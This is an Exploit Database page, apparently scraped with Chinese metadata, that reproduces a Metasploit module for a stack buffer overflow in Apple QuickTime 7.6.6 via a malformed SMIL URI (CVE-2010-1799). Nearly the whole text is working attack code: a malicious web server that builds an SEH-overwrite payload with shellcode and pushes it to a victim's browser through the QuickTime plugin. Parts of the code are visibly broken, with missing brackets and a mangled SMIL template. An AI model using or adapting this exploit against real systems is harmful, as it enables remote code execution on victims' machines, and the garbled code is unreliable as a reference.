Apple QuickTime 7.6.6 – Invalid SMIL URI Buffer Overflow (Metasploit)

Exploit Database
143 阅读

作者： Metasploit

日期： 2011-01-08
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16558/

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# $Id: apple_quicktime_smil_debug.rb 11513 2011-01-08 00:25:44Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking # needs more testing/targets to be Great

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Seh

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:os_name=> OperatingSystems::WINDOWS,

:javascript => true,

:rank => NormalRanking, # reliable memory corruption

:vuln_test=> nil,

})

def initialize(info = {})

super(update_info(info,

'Name' => 'Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in Apple QuickTime

7.6.6. When processing a malformed SMIL uri, a stack-based buffer

overflow can occur when logging an error message.

'Author' =>

[

'Krystian Kloskowski',# original discovery

'jduck' # Metasploit module

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 11513 $',

'References' =>

[

[ 'CVE', '2010-1799' ],

[ 'OSVDB', '66636'],

[ 'BID', '41962' ],

[ 'URL', 'http://secunia.com/advisories/40729/' ],

[ 'URL', 'http://support.apple.com/kb/HT4290' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'Space'=> 640, # 716 - 63 - 8 - 5

'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",

'Platform' => 'win',

'Targets'=>

[

#[ 'Automatic', { } ],

[ 'Apple QuickTime Player 7.6.6',

{

'Ret' => 0x66801042 # p/p/r from QuickTime.qts (v7.66.71.0)

}

'Privileged' => false,

'DisclosureDate' => 'Aug 12 2010',

'DefaultTarget'=> 0))

end

def on_request_uri(client, request)

return if ((p = regenerate_payload(client)) == nil)

if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)

print_status("Sending #{self.name} exploit to #{client.peerhost}:#{client.peerport}...")

print_status("Trying target #{target.name}...")

# This is all basically filler on the browser target because we can't

# expect the SEH to be in a reliable place across multiple browsers.

# Heap spray ftw.

off = 716

start = "cHTTPDhlr_SetURL - url doesn't start with http:// or http1:// '"

scheme = rand_text_alphanumeric(5)

sploit = ''

sploit << scheme

sploit << "://"

# payload

sploit << p.encoded

# pad to SEH

sploit << rand_text_english(off - sploit.length - start.length)

# seh frame

sploit << generate_seh_record(target.ret)

# jmp back to payload

distance = off + 8 - (8 + start.length)

sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

# force exception while writing

sploit << rand_text(1024) * 15

smil = %Q|<smil xmlns="http://www.w3.org/2001/SMIL20/Language">

<body>

</body>

</smil>

send_response(client, smil, { 'Content-Type' => "application/smil" })

else

print_status("Sending #{self.name} init HTML to #{client.peerhost}:#{client.peerport}...")

shellcode = Rex::Text.to_unescape(p.encoded)

url =((datastore['SSL']) ? "https://" : "http://")

url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])

url << ":" + datastore['SRVPORT']

url << get_resource

fname = rand_text_alphanumeric(4)

content ="<html><body>"

content << <<-ENDEMBED

<OBJECT

CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"

WIDTH="1"

HEIGHT="1"

CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">

<EMBED

SRC= "https://www.exploit-db.com/exploits/16558/#{url}/#{fname}.qtl"

QTSRC= "#{url}/#{fname}.qtl"

TARGET = "myself"

WIDTH= "1"

HEIGHT = "1"

AUTOPLAY = "true"

PLUGIN = "quicktimeplugin"

TYPE = "video/quicktime"

CACHE= "false"

PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >

</EMBED>

</OBJECT>

ENDEMBED

content << "</body></html>"

send_response(client, content, { 'Content-Type' => "text/html" })

end

# Handle the payload

handler(client)

end